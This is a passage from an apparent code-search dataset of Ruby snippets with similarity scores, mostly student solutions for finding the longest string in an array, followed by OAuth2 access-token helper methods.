"text": "def clever_octopus\n longest = \"\"\n FISH_ARR.each_with_index do |el, idx|\n longest = el if idx == 0\n el.length > longest.length ? longest = el : longest\n end\n longest\nend",
"title": ""
},
{
"docid": "66d8672334f16650cff13c62434c08ec",
"score": "0.7",
"text": "def sluggish_octopus(fish)\n longest_fish = fish[0]\n fish.each.with_index do |fish1, i1|\n fish.each.with_index do |fish2, i2|\n next if fish1.length < fish2.length\n longest_fish = fish1 if fish1.length > longest_fish.length\n end\n end\n longest_fish\nend",
"title": ""
},
{
"docid": "b4f50c6a39a58fd7eb53bfd417b16e1f",
"score": "0.69479626",
"text": "def clever_octopus(fishes)\n biggest_fish = fishes.first\n\n fishes.each do |fish|\n\n if fish.length > biggest_fish.length\n biggest_fish = fish\n end\n end\n\n biggest_fish\nend",
"title": ""
},
{
"docid": "61351eb8867e3864bc9cd3b925d9a8ac",
"score": "0.692006",
"text": "def sluggish_octopus(fishes)\n length = fishes.length - 1\n\n\n (0..(length)).each do |i|\n longest = true\n\n ((i + 1)..length).each do |j|\n longest = false if fishes[j].length > fishes[i].length\n end\n\n return fishes[i] if longest == true\n end\nend",
"title": ""
},
{
"docid": "8e5437e8d314832030504f36c7e7e277",
"score": "0.6908096",
"text": "def clever_octopus(fishes)\n largest = fishes.first\n\n fishes.each { |fish| largest = fish if largest.length < fish.length }\n\n largest\nend",
"title": ""
},
{
"docid": "3ae83839df7fc0b7f25049b89937230a",
"score": "0.6874223",
"text": "def clever_octopus(fishes)\r\n biggest_fish = fishes.first\r\n \r\n fishes.each do |fish|\r\n if fish.length > biggest_fish.length\r\n biggest_fish = fish\r\n end\r\n end\r\n \r\n biggest_fish\r\n \r\n end",
"title": ""
},
{
"docid": "4ef93d5c19b90bc4a9470f432728a164",
"score": "0.6860243",
"text": "def sluggish(fishes)\n longest_fish = \"\"\n i = 0\n\n while i < fishes.length - 1\n j = i + 1\n while j < fishes.length\n if fishes[i].length >= fishes[j].length\n longest_fish = fishes[i]\n else\n longest_fish = fishes[j]\n end\n end\n i += 1\n end\nend",
"title": ""
},
{
"docid": "de3ae41bd9df2bd555e79fc9bbfc0866",
"score": "0.6768888",
"text": "def longest_in_list2 list #:nodoc:\n longest = list.inject(list[0]) do |memo,word|\n memo.length >= word.length ? memo : word\n end \n longest\n end",
"title": ""
},
{
"docid": "348f482f2e2f06f5b2c6bfb65c150fac",
"score": "0.6761621",
"text": "def clever(arr)\n longest_fish = ''\n arr.each do |fish|\n longest_fish = fish if fish.length > longest_fish[0].length\n end\n\n longest_fish\nend",
"title": ""
},
{
"docid": "d8c1a330b6cf636c335d5fdfadf45d40",
"score": "0.6756349",
"text": "def sluggish(array)\n i = 0\n longest_fish = \"\"\n while i < array.length\n n = 0\n while n < array.length\n if longest_fish.length < array[n].length\n longest_fish = array[n]\n end \n n+= 1\n end \n i += 1 \n end \n return longest_fish\nend",
"title": ""
},
{
"docid": "753d11b849342475181e720ba5d92f90",
"score": "0.6736932",
"text": "def hunt_slowly(fishes)\n fishes.each do |fish|\n biggest_fish = true\n\n fishes.each do |other_fish|\n biggest_fish = false if other_fish.length > fish.length\n end\n\n return fish if biggest_fish\n end\nend",
"title": ""
},
{
"docid": "b287ad9f8dc9d45f65fad53ad1a41688",
"score": "0.67099094",
"text": "def sluggish(fish)\n longest_fish = \"\"\n i = 0\n while i < fish.length\n j = i + 1\n while j < fish.length\n longest_fish = fish[j] if longest_fish.length <= fish[j].length\n j += 1\n end\n i += 1\n end\n longest_fish\nend",
"title": ""
},
{
"docid": "1c316ef018fd332cf2f6873e0d7ff49d",
"score": "0.6708191",
"text": "def sluggish_octopus(fishes)\r\n biggest_fish = \"\"\r\n\r\n fishes.each_with_index do |fish1, idx1|\r\n fishes.each_with_index do |fish2, idx2|\r\n if idx2 > idx1\r\n if fish2.length > biggest_fish.length\r\n biggest_fish << fish2\r\n end\r\n end\r\n end\r\n end\r\n return biggest_fish\r\nend",
"title": ""
},
{
"docid": "116909c0bcc2d191b897d7f93c547206",
"score": "0.6707725",
"text": "def clever_octopus(array)\n longest = \"\"\n array.each do |fish|\n if fish.length > longest.length\n longest = fish\n end\n end\n longest\nend",
"title": ""
},
{
"docid": "6247bbd6b01fc43df9896eb5d0316f06",
"score": "0.6695842",
"text": "def sluggish_octopus(array)\n longest_fish = array[0]\n (0...array.length).each do |idx1|\n (idx1...array.length).each do |idx2|\n if array[idx1] < array[idx2] \n longest_fish = array[idx2]\n else\n longest_fish = array[idx1]\n end\n end\n end\n longest_fish\nend",
"title": ""
},
{
"docid": "abf73041c6f4dadb8bb431fa3545ae7d",
"score": "0.669282",
"text": "def longest_entry(words)\n return words.max_by(&:length)\n end",
"title": ""
},
{
"docid": "48f585efc3d30cfbc28b1cc3ccc13f96",
"score": "0.6687187",
"text": "def longest_in_list list #:nodoc:\n longest = list.inject(0) do |memo,word|\n memo >= word.length ? memo : word.length\n end \n longest\n end",
"title": ""
},
{
"docid": "48f585efc3d30cfbc28b1cc3ccc13f96",
"score": "0.6687187",
"text": "def longest_in_list list #:nodoc:\n longest = list.inject(0) do |memo,word|\n memo >= word.length ? memo : word.length\n end \n longest\n end",
"title": ""
},
{
"docid": "7f0ae8704a4f9c4c7ae2bb89c7653448",
"score": "0.6679842",
"text": "def sluggish_octopus\n\n big_fish = \"\"\n\n (0..FISH.length-2).each do |idx1|\n\n found_biggest = true\n (idx1+1..FISH.length-1).each do |idx2|\n if FISH[idx2].length > FISH[idx1].length\n found_biggest = false\n big_fish = FISH[idx2]\n end\n\n return big_fish if found_biggest\n end\n\n end\n\nend",
"title": ""
},
{
"docid": "04ac3c0401dcd7e3cb188afc60ef3ddf",
"score": "0.665346",
"text": "def clever_octopus(array)\n biggest_fish = array[0]\n array[1..-1].each do |fish|\n biggest_fish = fish if fish.length > biggest_fish.length\n end \n biggest_fish\nend",
"title": ""
},
{
"docid": "bdaf2ab6d529adac05f9bc269ebfcd51",
"score": "0.660138",
"text": "def sluggish_octopus(the_sea)\n the_sea.each_with_index do |fish1, idx|\n longest = true\n\n the_sea.each_with_index do |fish2, idx2|\n next if idx == idx2\n longest = false if fish1.length > fish2.length\n end\n\n return fish1 if longest\n end\nend",
"title": ""
},
{
"docid": "724975aeddf9b0f8e95a3f247acaabf9",
"score": "0.6562194",
"text": "def find_longest(arr)\n arr.map(&:to_s).sort_by(&:length).find { |num| num.length == arr.map(&:to_s).sort_by(&:length).last.length }.to_i\nend",
"title": ""
},
{
"docid": "a9f1e213df9c78cc3da4ceeeb3a4d800",
"score": "0.6559882",
"text": "def longest_string(list_of_words)\n list_of_words.max { |a,b| a.size <=> b.size }\n\nend",
"title": ""
},
{
"docid": "82b1320a2b4bda2717e4fdcbd43e2d9e",
"score": "0.6555224",
"text": "def find_longest(arr)\n arr.max_by { |x| x.to_s.length }\nend",
"title": ""
},
{
"docid": "8c6a044915f3797e76bd9e4b70df11ef",
"score": "0.6549929",
"text": "def longest_word(sen)\n tmp_arr = sen.split(\" \")\n tmp_longest = 0\n tmp_arr.each do |i|\n tmp_longest = i.size if i.size > tmp_longest\n end\n\n tmp_arr.select { |i| i.size == tmp_longest }.first\nend",
"title": ""
},
{
"docid": "71cc8da31efd19b6ecef6e12881c03fa",
"score": "0.6549371",
"text": "def longest_string(list_of_words)\n\tif list_of_words.length == 0\n\t\treturn nil\n\tend\n\ti = list_of_words[0]\n\tj = 1\n\twhile j <= list_of_words.length - 1 do\n\t\tif i.length < list_of_words[j].length\n\t\t\ti = list_of_words[j]\n\t\tend\n\t\tj = j + 1\n\tend\n\treturn i\nend",
"title": ""
},
{
"docid": "ac13e51228066d65f99679668df475f8",
"score": "0.65342087",
"text": "def longest(array)\n return array.max\nend",
"title": ""
},
{
"docid": "c5c457b7317d14c2b1b38616951b6345",
"score": "0.65299606",
"text": "def quadratic_find(fishies)\n fishies.each_with_index do |fish1, idx1|\n biggest_fish = true\n\n fishies.each_with_index do |fish2, idx2|\n unless idx1 == idx2\n biggest_fish = false if fish1.length < fish2.length\n end\n end\n return fish1 if biggest_fish == true\n end\nend",
"title": ""
},
{
"docid": "127277b3a12055d26530ffd2278ff1de",
"score": "0.6487287",
"text": "def find_longest(n)\n\tbinary = n.to_s(2)\n\n p binary\n a , b = 0\n\t# (0...binary.size).map do |i|\n\t\tbinary_copy = binary.dup\n\n\t\t# binary_copy[i] = \"1\"\n\n\t\t# puts binary_copy\n\n\t a = binary_copy.scan(/0+/).max.size \n\t b = binary_copy.scan(/1+/).max.size \n\t# end \n\ta > b ? a : b \nend",
"title": ""
},
{
"docid": "5263c1b90202887d055cb894503f82cf",
"score": "0.64717394",
"text": "def solution(a)\n # write your code in Ruby 2.2\n return 0 unless a[0]\n necklaces = create_necklaces(a)\n \n \n size = necklaces.length\n index = 0\n max = necklaces[index].length\n \n while index < size\n if necklaces[index].length > max\n max = necklaces[index].length\n end\n index += 1\n end\n \n return max\nend",
"title": ""
},
{
"docid": "2493b7cbe20d16ee743a104258a44fc5",
"score": "0.64585143",
"text": "def longest_string(list_of_words)\n i=0\n long_string=list_of_words[0]\n list_of_words.each do\n if list_of_words[i].length>long_string.length\n long_string=list_of_words[i]\n end\n i+=1\n end\n return long_string\nend",
"title": ""
},
{
"docid": "b30858c223f7c0fc8048877c0279aa59",
"score": "0.6454025",
"text": "def longest_sym_sequence()\n count = 0\n max = 0\n for hop in @hops\n if hop.type != :sym and hop.type != \"sym\"\n count = 0 \n else\n count += 1\n max = (count > max) ? count : max\n end\n end\n\n max\n end",
"title": ""
},
{
"docid": "9c1afc34a12ec9208f09a64a2dd53fa2",
"score": "0.64469314",
"text": "def longest_string(list_of_words)\n longest = list_of_words[0]\n list_of_words.each do |x|\n if x.length >= longest.length\n longest = x\n end\n end\n if list_of_words.empty?\n return nil\n end\nreturn longest\nend",
"title": ""
},
{
"docid": "455f647be475ea41072227308d478489",
"score": "0.64419466",
"text": "def longest(s)\n\tall_results = []\n\n\tlist_of_chars = s.chars\n\n\tlist_of_chars.each_with_index do |char, index|\n\n\t\tresult = ''\n\t\tnext_index = index + 1 \n\t\tcurrent_index = index\n\t\tresult << char\n\n\t\tif current_index == list_of_chars.length - 1\n\t\t\tall_results = all_results.max { |a,b| a.length <=> b.length }\n\t\telse\n\t\t loop do\n\t\t \tif list_of_chars[next_index] == nil\n\t\t \t\tall_results << result\n\t\t \t\tbreak\n\t\t\t\telsif list_of_chars[next_index] >= list_of_chars[current_index]\n\t\t\t\t\tresult << list_of_chars[next_index]\n\t\t\t\t\tcurrent_index += 1\n\t\t\t\t\tnext_index += 1\n\t\t\t\telse\n\t\t\t\t\tall_results << result\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\tall_results\nend",
"title": ""
},
{
"docid": "6898c4f72b7c4d9d142a878711c3b8d1",
"score": "0.6441804",
"text": "def longest (arr)\n arr.max_by {|str| str.length}\nend",
"title": ""
},
{
"docid": "3c83e40bac523e5bbe265f8994d30978",
"score": "0.64289254",
"text": "def clever_oct(arr)\n longest = arr[0]\n arr.each do |fish|\n longest = fish if fish.length > longest.length\n end\n longest\nend",
"title": ""
},
{
"docid": "373c997d4fd94de9de791541302b2c0e",
"score": "0.6421653",
"text": "def longest_string(list_of_words)\n list_of_word = list_of_words.sort_by { |x| x.length }\n return list_of_word[-1]\nend",
"title": ""
},
{
"docid": "f6af1b78d18aec6bd6b45b493ee98614",
"score": "0.63931656",
"text": "def longest_prefix(strings)\n\n # Assign relevant variables\n winning_ticket = \"\"\n i = 0 \n fastest_furthest = strings[0][i]\n\n # Account for non-nil values and return method result \n while fastest_furthest != nil\n strings.each do |string|\n unless string[i] == fastest_furthest\n return winning_ticket\n end \n end \n winning_ticket += fastest_furthest\n i += 1\n fastest_furthest = strings[0][i]\n end\n return winning_ticket\nend",
"title": ""
},
{
"docid": "0a33985d47c244b2a44b75dd172c56e0",
"score": "0.63908255",
"text": "def longest_in_list list #:nodoc:\n raise ArgumentError, \"rdialog.rb: longest_in_list recvd nil list\" unless list\n longest = list.inject(0) do |memo,word|\n memo >= word.length ? memo : word.length\n end \n longest\nend",
"title": ""
},
{
"docid": "8b047a7f4b045c48b437d030af1a5a66",
"score": "0.6385986",
"text": "def clever_octopus(array)\n longest = array.first\n (1...array.length).each do |i|\n longest = array[i] if longest.length < array[i].length\n end\n longest\nend",
"title": ""
},
{
"docid": "f29d0c8e5093ddf3edd01f8eab63f3d1",
"score": "0.6368672",
"text": "def longest_string(list_of_words)\n return list_of_words[0] if list_of_words.length <= 1\n\n longest = list_of_words.pop\n trash = []\n\n list_of_words.each do |test_item|\n if test_item.length < longest.length\n trash.push test_item\n else\n trash.push longest\n longest = test_item\n end\n end\n return longest\nend",
"title": ""
},
{
"docid": "10ffc6177946eb95fbcc3ed3921bde7b",
"score": "0.63673246",
"text": "def longest_string(list_of_words)\n index = 0\n counter = 1\n if list_of_words == []\n return nil\n end\n until counter == list_of_words.length\n if list_of_words[index].length > list_of_words[counter].length\n counter += 1\n else\n index = counter\n counter += 1\n end\n end\n return list_of_words[index]\nend",
"title": ""
},
{
"docid": "9030d09ff6aa462b148025cdf680458a",
"score": "0.6364603",
"text": "def longest_string(list)\n longest_so_far = list.first\n list.each do |item|\n if longest_so_far.length < item.length\n longest_so_far = item\n end\n end\n longest_so_far\nend",
"title": ""
},
{
"docid": "6c0553535b7dc0ef861310e6f1cb0c30",
"score": "0.63461906",
"text": "def longest\n @strings.max { |a,b| a.length <=> b.length}\n end",
"title": ""
},
{
"docid": "d0353b217cc9cf9931147998258e8ff9",
"score": "0.633245",
"text": "def sluggish_octopus(fishes) \n fishes.each_with_index do |fish1, i1|\n max_length = true\n fishes.each_with_index do |fish2, i2|\n next if i1 == i2\n # puts \"#{fish1} --- #{fish2}\"\n max_length = false if fish1.length < fish2.length\n end\n\n return fish1 if max_length == true\n end\nend",
"title": ""
},
{
"docid": "94a1933aa69824bdc706e429c12d5915",
"score": "0.6320556",
"text": "def longest_string ar\n return ar.max_by(&:length)\nend",
"title": ""
},
{
"docid": "5c569ea1d2980de891ebf74fe8d29f47",
"score": "0.63163173",
"text": "def longest(string)\n sliced = string.chars.slice_when {|a,b| a > b}.to_a\n longest = sliced.max_by {|sub_arr| sub_arr.length}.join\nend",
"title": ""
},
{
"docid": "639194cc8808e7e8acadc9e627db3e84",
"score": "0.6312379",
"text": "def biggest_fish(array)\n prc ||= Proc.new {|x,y| x.length <=> y.length}\n sorted = array.merge_sort(&prc)\n sorted.last\nend",
"title": ""
},
{
"docid": "6ea636d03f1b85fedfe9833bb90df376",
"score": "0.63123196",
"text": "def longest_mountain(arr)\n return 0 if arr.length < 3\n max = 0\n idx = 0\n\n until arr[idx + 2].nil?\n max_from_idx = identify_mountain(arr, idx)\n if max_from_idx > max\n max = max_from_idx\n idx = idx + max_from_idx - 1\n else\n idx += 1\n end\n end\n max\nend",
"title": ""
},
{
"docid": "fb5d0ce67bd114f68cf3b27f1ab4993c",
"score": "0.6311565",
"text": "def find_longest(arr)\n x = arr.map(&:to_s).sort_by { |x| x.length }.last.chars.length\n arr.map(&:to_s).find { |num| num.length == x }.to_i\nend",
"title": ""
},
{
"docid": "eae303c9886e31d51699b5cc178a59f0",
"score": "0.6307735",
"text": "def longest_string array\n array.max_by(&:length)\nend",
"title": ""
},
{
"docid": "c8574be26f6978357b269c08abcf088e",
"score": "0.6305496",
"text": "def longest_string(list_of_words)\n\treturn list_of_words.max {|x,y| x.length <=> y.length}\nend",
"title": ""
},
{
"docid": "f48a003f125105a78cfd4c3f45d79f7b",
"score": "0.63025653",
"text": "def find_longest(arr)\n arr.detect { |i| i.to_s.length == arr.max.to_s.length }\nend",
"title": ""
},
{
"docid": "a46dc5ce25177157e47dfe15cdfeae4e",
"score": "0.62977797",
"text": "def sluggish(arr)\n longest_fish = ''\n arr.each do |fish|\n longest_fish = fish if fish.length > longest_fish[0].length\n end\n\n longest_fish\nend",
"title": ""
},
{
"docid": "1d2a78172701f6d3c319cca4cd9372d1",
"score": "0.62896776",
"text": "def longest_string(list_of_words)\n # Your code goes here!\n if list_of_words.length == 0\n \treturn nil\n end\n var = list_of_words[0]\n for i in 1 ... list_of_words.length\n \tif i == list_of_words.length\n \t\treturn var\n \telsif var.length < list_of_words[i].length\n \t\tvar = list_of_words[i]\n \tend\n \ti+=1\n end\n return var\nend",
"title": ""
},
{
"docid": "dad8e61740fe81114c440252913bfcd6",
"score": "0.6287413",
"text": "def longest str\n\tstr.max_by(&:length)\nend",
"title": ""
},
{
"docid": "fd2e713edc293d9c20792df14b886e84",
"score": "0.6286937",
"text": "def longest_string(list_of_words)\n # Your code goes here!\n longest = list_of_words[0]\n\n list_of_words.each { |word| \n if word.length > longest.length\n longest = word\n end\n }\n\n return longest\nend",
"title": ""
},
{
"docid": "0e0cbda63476279417289e8cd93e19d8",
"score": "0.627749",
"text": "def longest_string(list_of_words)\n if list_of_words.length > 0\n longest_word = list_of_words[0]\n for word in list_of_words\n if word.length > longest_word.length\n longest_word = word\n end\n end\n return longest_word\n end\nend",
"title": ""
},
{
"docid": "9fc780c74e7171cd4936906c70103419",
"score": "0.6271443",
"text": "def longest_streak str \n str.split('L').max.length\nend",
"title": ""
},
{
"docid": "d8c760c56242f5981a9ed2ad0fbf2a5d",
"score": "0.626339",
"text": "def longest_string(strings)\r\n#+++solution+++\r\n strings.inject('') { | best, this | (best.length < this.length) ? this : best }\r\n#---solution---\r\nend",
"title": ""
},
{
"docid": "f0967d5b49e3ecde9893523fcf4e8b6e",
"score": "0.6262954",
"text": "def longest_string(list_of_words)\n # Your code goes here!\n\n return list_of_words.max_by {|word| word.length}\n\n # max = nil\n #\n # if list_of_words == []\n # return max\n # else\n # max = list_of_words[0]\n # for i in 0...list_of_words.length\n # if list_of_words[i].length > max.length\n # max = list_of_words[i]\n # end\n # end\n # end\n #\n # return max\nend",
"title": ""
},
{
"docid": "58a5053bc415714157e0bb348ae95e58",
"score": "0.6262554",
"text": "def longest_string list\n # longest = ''\n # list.each do |str|\n # if str.length > longest.length\n # longest = str\n # end\n # end\n # longest\n list.max_by{|i| i.length}\n # list.max_by(&:length)\nend",
"title": ""
},
{
"docid": "f56b914be8033193c12784f5ff5532be",
"score": "0.62616676",
"text": "def longest_string(list_of_words)\n # length = list_of_words.length\n if list_of_words == []\n return nil\n else\n return list_of_words.max_by { |x| x.length }\n end\nend",
"title": ""
},
{
"docid": "40947fb44b9597153c4992298a62898a",
"score": "0.6257705",
"text": "def clev_oct(array)\n largest_fish = array[0]\n array[1..-1].each do |fish|\n largest_fish = fish if fish.length > largest_fish.length\n end\n largest_fish\nend",
"title": ""
},
{
"docid": "b858c7f1f185cb3e9331d27fcad9c867",
"score": "0.62540734",
"text": "def lsworc s\n i = 0\n max_len = 0\n cc = {}\n s.chars.each_with_index do |c, j|\n if !!cc[c]\n # contract window\n while s[i] != c\n cc[s[i]] = false\n i += 1\n end\n i += 1\n end\n # expand window\n cc[c] = true\n # select longest\n max_len = [max_len, j + 1 - i].max\n end\n return max_len\nend",
"title": ""
},
{
"docid": "58f7ea68b89ee27869c5a5b417523160",
"score": "0.6253044",
"text": "def longest_string(list_of_words)\n longest = nil\n list_of_words.each do |words|\n if longest.nil? || longest.length < words.length\n longest = words\n end\n end\nlongest\nend",
"title": ""
},
{
"docid": "66ab0e304ecd724a64b2986a7e9df499",
"score": "0.62473685",
"text": "def longest2(collection)\n collection.max { |a, b| a.length <=> b.length }\nend",
"title": ""
},
{
"docid": "d087e72a887776ad036e25328a6eabe3",
"score": "0.6239638",
"text": "def clever_octopus(arr)\n longest = arr.first\n\n arr.each do |el|\n longest = el if el.length > longest.length\n end\n longest\nend",
"title": ""
},
{
"docid": "c245a528b4bbf9117fcaaf485decdc7b",
"score": "0.62335944",
"text": "def dominant_eat(fishes)\n prc = Proc.new { |x, y| y.length <=> x.length}\n largest_sorted = fish.merge_sort(&prc)\n largest_sorted[0]\n end",
"title": ""
},
{
"docid": "d07fc8b348f83d06bdf63a6b12972ef0",
"score": "0.6231287",
"text": "def longest_string(list_of_words)\n list_of_words.max { |a, b| a.length <=> b.length }\n end",
"title": ""
},
{
"docid": "a52c3739f91c0cb2debf541af9de5276",
"score": "0.6227332",
"text": "def longest_string(list_of_words)\n # Your code goes here!\n word_hash = Hash.new\n list_of_words.each do |word|\n word_hash[word] = word.length\n end\n word_length = Array.new\n word_hash.each_value do |value|\n word_length.push(value)\n end\n length_sorted = word_length.sort\n tall_one = length_sorted.last\n word_hash.key(tall_one)\nend",
"title": ""
}
] |
01da32c868d0e9c3358540a835907800 | Overrides OAuth2::Clientget_token to pass in the omniauthslack AccessToken. | [
{
"docid": "cd4492ba1d8e6b7896c32b3a790dd534",
"score": "0.79495776",
"text": "def get_token(params, access_token_opts = {}, access_token_class = OmniAuth::Slack::OAuth2::AccessToken) # rubocop:disable Metrics/AbcSize, Metrics/MethodLength\n rslt = super(params, access_token_opts, access_token_class)\n debug{\"Client #{self} using AccessToken #{rslt}\"}\n rslt\n end",
"title": ""
}
] | [
{
"docid": "b1233d5dfeeaabf814c624471fd043d4",
"score": "0.6904561",
"text": "def remote_oauth_token\n token = client_application.client_credentials.get_token(:scope => SCOPE_FOR_A_SERVICE_TO_TALK_TO_AUTHORIZATOR_SERVICE)\n raise Response::Error::AccessToken.new(data:(token && token.params)) if (!token or token.token.empty?)\n token\n end",
"title": ""
},
{
"docid": "29d06b09cbdc5d48200e7f2ce7c5c28a",
"score": "0.6847867",
"text": "def build_token(access_token)\n return OAuth2::AccessToken.new CLIENT, access_token\n end",
"title": ""
},
{
"docid": "7410f1823ae92fddec32f85f43cd746a",
"score": "0.6792969",
"text": "def find_oauth_access_token\n end",
"title": ""
},
{
"docid": "419b9033e4662a45cf227489750a18cc",
"score": "0.6627807",
"text": "def fetch_access_token\n client.unauthenticated_request(:POST, '/v1/security/oauth2/token',\n grant_type: 'client_credentials',\n client_id: client.client_id,\n client_secret: client.client_secret)\n end",
"title": ""
},
{
"docid": "b56d3ba92f5bf967dff5251692f6734c",
"score": "0.65308297",
"text": "def get_token\n begin\n @response = RestClient.post(\n @consumer[:token_request_url],\n client_id: @consumer[:client_id],\n client_secret: @consumer[:client_secret],\n grant_type: @consumer[:grant_type],\n resource: @consumer[:resource]\n )\n\n @consumer[:token] = 'Bearer ' + JSON.parse(@response)['access_token']\n @consumer[:token_expiry] = JSON.parse(@response)['expires_on']\n rescue => error\n puts(\"ERROR - Token Request Failed - #{error}\")\n end\n @consumer[:token]\n end",
"title": ""
},
{
"docid": "2920af2f7caefdae313a026a89f4ad53",
"score": "0.6495826",
"text": "def access_token\n @attributes[:access_token] || client.token\n end",
"title": ""
},
{
"docid": "2920af2f7caefdae313a026a89f4ad53",
"score": "0.6495826",
"text": "def access_token\n @attributes[:access_token] || client.token\n end",
"title": ""
},
{
"docid": "2920af2f7caefdae313a026a89f4ad53",
"score": "0.6495826",
"text": "def access_token\n @attributes[:access_token] || client.token\n end",
"title": ""
},
{
"docid": "9d280ddfc97e578da14e3c79af1ba976",
"score": "0.6494632",
"text": "def get_token (params)\n client = OAuth2::Client.new(params[:APP_ID], params[:APP_SECRET], :site => params[:OAUTH_URL])\n\n begin\n token = client.password.get_token(params[:USER_EMAIL], params[:USER_PASSWD], :scope => params[:SCOPE]).token\n rescue => e\n puts \"Error: Can't get oauth token, check credentials for '#{params[:NAME]}'\"\n puts \"#{e.message}\"\n abort \"Aborting script\"\n end\n return token\nend",
"title": ""
},
{
"docid": "ceb109a918d495db057bd4fbce113a55",
"score": "0.6443326",
"text": "def access_token\n OAuth::AccessToken.new(consumer, oauth_token, oauth_token_secret)\n end",
"title": ""
},
{
"docid": "fee6a62ba0376156d386f4b2304d9ba5",
"score": "0.6431264",
"text": "def access_token\n @access_token ||= begin\n if oauth_options[:oauth_verifier]\n request_token.get_access_token(:oauth_verifier => oauth_options[:oauth_verifier])\n else\n request_token.get_access_token\n end\n end\n end",
"title": ""
},
{
"docid": "2ee226b835e46238b03e5aac00444f54",
"score": "0.6427831",
"text": "def get_client_access_token(options = {})\n get_access_token('client_credentials', options)\n end",
"title": ""
},
{
"docid": "f64239a5d0c8801be8e831de6b344a86",
"score": "0.6416545",
"text": "def get_token\n with_monitoring do\n conn = Faraday.new(\n \"#{Settings.veteran_readiness_and_employment.auth_endpoint}?grant_type=client_credentials\",\n headers: { 'Authorization' => \"Basic #{Settings.veteran_readiness_and_employment.credentials}\" }\n )\n\n request = conn.post\n JSON.parse(request.body)['access_token']\n end\n end",
"title": ""
},
{
"docid": "8b7570f890e1946a8662780ef841199f",
"score": "0.6395168",
"text": "def get_token(params = {}, opts = {})\n hash = build_request(params)\n @client.get_token(hash, opts.merge('refresh_token' => nil))\n end",
"title": ""
},
{
"docid": "1859da553bf6565204879c95a2a89f00",
"score": "0.6386017",
"text": "def access_token\n end",
"title": ""
},
{
"docid": "3e4f3b3d504622d238ab84a4a75b2000",
"score": "0.6380616",
"text": "def get_access_token()\n url = URI.parse(TOKEN_ENDPOINT)\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n req = Net::HTTP::Post.new(url.path)\n req.basic_auth(@clientId, @clientSecret)\n req.set_form_data({'grant_type' => 'client_credentials'})\n res = http.request(req)\n JSON.parse(res.body)['access_token']\n end",
"title": ""
},
{
"docid": "d3c9e4f03f34b2ee1a93b59b6b203e9e",
"score": "0.6363098",
"text": "def token\n auth_client.token(settings.oauth2_token).tap do |token|\n settings.save_oauth2_token(token.to_hash)\n end\n end",
"title": ""
},
{
"docid": "17a82758bd1836adf888db8c97ba4124",
"score": "0.6359827",
"text": "def get_access_token! env\n params = session(env).delete(:access_token_params)\n ::OAuth::AccessToken.from_hash consumer, params if params\n end",
"title": ""
},
{
"docid": "56b92e7b884685528eba1bf33843d970",
"score": "0.63595897",
"text": "def access_token; self; end",
"title": ""
},
{
"docid": "7394d79609f90c64431d4495171d91d8",
"score": "0.6345527",
"text": "def oauth_access_token\n session[:access_token]\n end",
"title": ""
},
{
"docid": "0c21b847350e6906a2ce6656a52a3bef",
"score": "0.6335524",
"text": "def get_access_token! name = nil\n oauth_instance(name).get_access_token!(oauth_request_env)\n end",
"title": ""
},
{
"docid": "34ae06a993e2f3af1baf465dcdcc2ae6",
"score": "0.6326375",
"text": "def get_access_token_from_token(token, params={})\n params = params.inject({}) { |options, (key, value)| options[key.to_s] = value; options }\n @access_token ||= ::OAuth2::AccessToken.new(client, token, params)\n end",
"title": ""
},
{
"docid": "561498c517d3d0f44be153088b2eb897",
"score": "0.6318093",
"text": "def get_access_token\n # Get the current token hash from session\n token_hash = session[:azure_token]\n\n client = OAuth2::Client.new(CLIENT_ID,\n CLIENT_SECRET,\n :site => 'https://login.microsoftonline.com',\n :authorize_url => '/common/oauth2/v2.0/authorize',\n :token_url => '/common/oauth2/v2.0/token')\n\n token = OAuth2::AccessToken.from_hash(client, token_hash)\n\n # Check if token is expired, refresh if so\n if token.expired?\n new_token = token.refresh!\n # Save new token\n session[:azure_token] = new_token.to_hash\n access_token = new_token.token\n else\n access_token = token.token\n end\n end",
"title": ""
},
{
"docid": "f840277ec687b41867bd79fa2a9bb428",
"score": "0.6290344",
"text": "def get_access_token! env\n params = session(env).delete(:access_token_params)\n ::OAuth::AccessToken.from_hash consumer, params if params\n end",
"title": ""
},
{
"docid": "37bc8971f846a92b7f42c4382d170c88",
"score": "0.6276016",
"text": "def client(token)\n ::Slack::Web::Client.new(token: token || Speko::Slack.enabled_configs[:slack][:slack_api_token])\n end",
"title": ""
},
{
"docid": "f2fba490bee6f77f2e42c1657d98beb2",
"score": "0.62683284",
"text": "def get_token(params, access_token_opts = {})\n params[:scope] ||= 'snsapi_base'\n params = params.merge(:parse => :json)\n access_token_opts = access_token_opts.merge({:header_format => \"OAuth2 %s\", :param_name => \"access_token\"})\n\n @token = super(params, access_token_opts)\n end",
"title": ""
},
{
"docid": "6741dbf79c609dac0d81a7ef9afc4af0",
"score": "0.6259965",
"text": "def get_token\n get(TOKEN_URL)\n end",
"title": ""
},
{
"docid": "28636c7c8c63c8222f515bd57eb2af97",
"score": "0.6255004",
"text": "def token\n return @token if @token\n\n options = @options.merge(\n body: {\n client_id: @client_id,\n client_secret: @client_secret,\n grant_type: 'client_credentials'\n },\n headers: {\n 'Accept' => 'application/json',\n 'Host' => uri.host\n }\n )\n url = \"#{@base_url}/auth/oauth/v2/token\"\n\n @logger.debug(\"Request token from #{url}\")\n\n response = raises_unless_success do\n HTTParty.post(url, options)\n end.parsed_response\n\n @token = Token.new(\n *response.values_at('access_token', 'token_type', 'expires_in', 'scope')\n )\n end",
"title": ""
},
{
"docid": "d0108b63c487fe9f25868f8e088d7483",
"score": "0.62544835",
"text": "def access_token\n api_key.access_token rescue \"\"\n end",
"title": ""
},
{
"docid": "e8696b4ce6e2ec903e3767e1bf795696",
"score": "0.62533444",
"text": "def get_access_token name = nil\n oauth_instance(name).get_access_token(oauth_request_env)\n end",
"title": ""
},
{
"docid": "eb5b086a0d8b9d3e1567124a1849c5c6",
"score": "0.62485987",
"text": "def access_token\n @access_token ||= OAuth::AccessToken.new(consumer, @token, @secret)\n end",
"title": ""
},
{
"docid": "88019732dde8776f68c082f48bc08494",
"score": "0.62472904",
"text": "def access_token\n @config[\"token\"]\n end",
"title": ""
},
{
"docid": "f15c67fa4e1046856fd52b79626e062b",
"score": "0.619853",
"text": "def token\n return @access_token if @access_token && !needs_refresh?\n\n update_access_token\n @access_token\n end",
"title": ""
},
{
"docid": "fd934a8e384d5031d9223d9cca348577",
"score": "0.6193664",
